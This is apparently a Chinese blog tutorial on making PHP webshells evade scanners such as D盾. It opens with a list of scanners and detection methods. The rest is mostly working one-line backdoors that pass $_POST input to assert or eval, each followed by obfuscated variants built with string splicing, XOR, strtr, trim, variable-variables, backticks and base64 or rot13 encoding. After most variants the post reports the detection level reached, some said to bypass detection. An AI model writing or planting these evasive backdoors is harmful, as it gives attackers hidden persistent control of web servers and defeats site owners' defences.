php webshell 免杀入门

webshell 查杀软件:

d盾、安全狗、护卫神、Sangfor WebShellKill

在线查杀

百度WEBDIR+

https://scanner.baidu.com

河马

https://www.shellpub.com

cloudwalker牧云

https://webshellchop.chaitin.cn

查杀技术

静态检测、动态检测、日志检查

  • 静态检查:匹配特征码、危险函数、木马特征值。优点:方便快捷,对已知木马特征查找准确率高,缺点是误报率高,0day型木马无法查找。
  • 动态检测:通过木马程序的动态特征来检测,当程序执行时表现出的特征即为动态特征。
  • 日志检测:通过分析大量日志文件并建立请求模型检测异常文件。 优点为当网站上的访问量级达到一致值时,这种检测方法具有比较大参考性价值。缺点则是存在一定误报率,对于大量的日志文件,检测工具的处理能力和效率都会变的比较低。

webshell免杀

免杀则是通过灵活运用编程语言的不同特征以及提供的参数重构木马来躲避查杀工具的查杀。还有通过加解密技术对木马程序进行加解密处理。

普通一句话木马

php 复制代码
<?php eval($_POST['a']);?>
<?php assert($_POST['a']);?>

直接使用eval是3级,使用 assert 是5级


在蚁剑连接中,仅使用assert的payload不可连接

原因有两个:一是因为蚁剑用来探测的语句由多句PHP代码构成,但assert只能执行第一句PHP代码;二是因为探测的语句使用了echo,而assert无法执行关于echo的代码。

看到分析文章:

关于一句话中使用的assert和eval - Article_kelp - 博客园 (cnblogs.com)

PHP版本>7 时,assert 函数进行了更新, 无法将使用字符串作为参数,而传入GET或POST的数据默认的类型就是字符串,这就导致了assert不适宜再用来直接写马。

不过下面的webshell 还是在php5环境下以 assert 函数进行测试。


因为还在学习阶段,对于这些姿势可能不能对查杀工具完全免杀,但是也能降低危险级别。

主旨在学习大佬们已经用过的各种绕过姿势。达到免杀初步入门。

免杀绕过姿势

字符串变形

对字符串各种拼接转换,十分灵活,方法各式各样。易拓展。

这里先直接对 assert 每个字符串进行拼接。

php 复制代码
<?php
$x= 'a'.'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

查杀结果还是 5 级,拼接的 assert 能正常检测

substr() 函数

使用 substr() 函数截断

php 复制代码
<?php
$x= substr('21a',2).'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

再次D盾检测,新版级别变为了 3 ,旧版级别为 4


异或

php 复制代码
<?php
$x = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$x($_POST['a'])
?>

新版D盾为已知后门,旧版级别为 3


传参拼接

一般情况只需传入一个参数,是要执行的命令。

这里再增加一个传参,作为 assert 的拆解部分。

php 复制代码
<?php
$a='ass';
$b=$a.$_POST["a2"];
$x = $_POST["a1"];
$b($x);
?>

利用,post以下数据:

php 复制代码
a2=ert&a1=phpinfo()

新版D盾查杀等级为 3 ,旧版为 2

strtr() 函数

对替换字符,被替换的'xjdm' 必须和替换成的 'sser' 是相同长度。

php 复制代码
<?php
$x = strtr('axjdmt','xjdm','sser');
$x($_POST['a']);
?>

旧版D盾级别为 1 ,基本算绕过。新版为已知后门

substr_replace()函数

绕过旧版,新版为已知后门

php 复制代码
<?php
$x = substr_replace('ajdmkh','ssert',1);
$x($_POST['a']);
?>

稍微变化一下

新版旧版级别都为 3

php 复制代码
<?php
$x = substr_replace('ajdmk','sser',1).'t';
$x($_POST['a']);
?>

substr_replace()函数和strtr() 函数都是已知后门,那如果组合一下。

新版仍为前面的 3 级,旧版为 1

php 复制代码
<?php
$x = strtr('aghn','ghn','sse').substr_replace('rx','t',1);
$x($_POST['a']);
?>

trim()函数

规定从字符串中删除哪些字符。如果不选第二个参数,则移除以下所有字符 \0 - NULL; \t - 制表符;\n - 换行;\x0B - 垂直制表符;\r - 回车;空格

php 复制代码
<?php
$x = trim('/assert/','/');
$x($_POST['a']);
?>

D盾查杀级别为 1

如果是这样,让**trim()**函数删除空格,查杀等级还是为 4 级。

php 复制代码
$x = trim(' assert ');

自定义函数

php 复制代码
<?php
function test($a){
    $a($_POST['a']);
}

test('assert');
?>

新版D盾和旧版扫描结果级别都为 2


前面都是对 assert 字符串进行操作,下面对 $_POST['a'] 进行操作。包括结合前面的,同时对 assert 和 $_POST['a'] 处理的结果。


反引号

php 复制代码
<?php
$a=$_POST['a'];
$x='assert';
$x(`/***123***/`.$a);
?>

新版D盾结果级别为 4,旧版为 2

结合前面的 substr()函数

查杀等级新版D盾变为1,旧版变为2

php 复制代码
<?php
$a=$_POST['a'];
$x=substr('1a',1).'ssert';
$x(`/***123***/`.$a);
?>

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$a=$_POST['a'];
$x=('!'^'@').'ssert';
$x(`/***123***/`.$a);
?>

变量覆盖

使用$$覆盖变量,这里对字符串 $_POST['a'] 进行操作

php 复制代码
<?php
$x='a'.'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

此时级别为 2

对 assert 结合前面的 substr()函数。

php 复制代码
<?php
$x=substr('1a',1).'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

查杀等级新版D盾变为1,旧版变为2

对assert 结合前面的 异或。

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x=('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$x($c['a']);
?>

trim()函数结合变量覆盖

D盾等级为2

php 复制代码
<?php
$a = 'ttt';
$$a=trim('/assert/','/');
$f ='hello';
$$f = $_POST['a'];
$ttt($hello)
?>

base64参数编码

php 复制代码
<?php
$x= 'assert';
$a=base64_decode($_POST['a']);
$x($a)
?>

利用:

a=cGhwaW5mbygp

这里效果不免杀

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

php 复制代码
<?php
$x= substr('1a',1).'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x= ('!'^'@').'ssert';
$a=base64_decode($_POST['a']);
$x($a)
?>

rot13参数编码

和前面 base64编码效果是一样的

php 复制代码
<?php
$x= 'assert';
$a=str_rot13($_POST['a']);
$x($a)
?>

a=cucvasb()

结合substr()函数

新版D盾查杀结果级别为 1,旧版为 4

php 复制代码
<?php
$x= substr('1a',1).'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

对assert 结合前面的 异或

新旧版D盾查杀结果皆为1

php 复制代码
<?php
$x= ('!'^'@').'ssert';
$a=str_rot13($_POST['a']);
$x($a)
?>

还有很多姿势可以利用与开发。

比如数组(一维、二维、多维)的利用。

还有各种回调函数的利用,比如回调函数 array_map()

相关推荐
Smile灬凉城6665 小时前
反序列化为啥可以利用加号绕过php正则匹配
开发语言·php
奥顺7 小时前
PHPUnit使用指南:编写高效的单元测试
大数据·mysql·开源·php
黑客Jack8 小时前
网络安全加密
安全·web安全·php
龙哥·三年风水11 小时前
workman服务端开发模式-应用开发-后端api推送修改二
分布式·gateway·php
计算机徐师兄12 小时前
基于TP5框架的家具购物小程序的设计与实现【附源码、文档】
小程序·php·家具购物小程序·家具购物微信小程序·家具购物
希雅不是希望13 小时前
Ubuntu命令行网络配置
网络·ubuntu·php
龙哥·三年风水15 小时前
workman服务端开发模式-应用开发-后端api推送修改一
分布式·gateway·php
开心工作室_kaic1 天前
springboot461学生成绩分析和弱项辅助系统设计(论文+源码)_kaic
开发语言·数据库·vue.js·php·apache
火³可²1 天前
PHP接入美团联盟推广
开发语言·php
奥顺1 天前
PHP与AJAX:实现动态网页的完美结合
大数据·mysql·开源·php